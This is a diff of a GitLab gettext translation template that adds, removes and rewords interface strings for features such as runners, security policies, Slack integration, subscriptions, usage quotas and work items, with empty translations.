+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
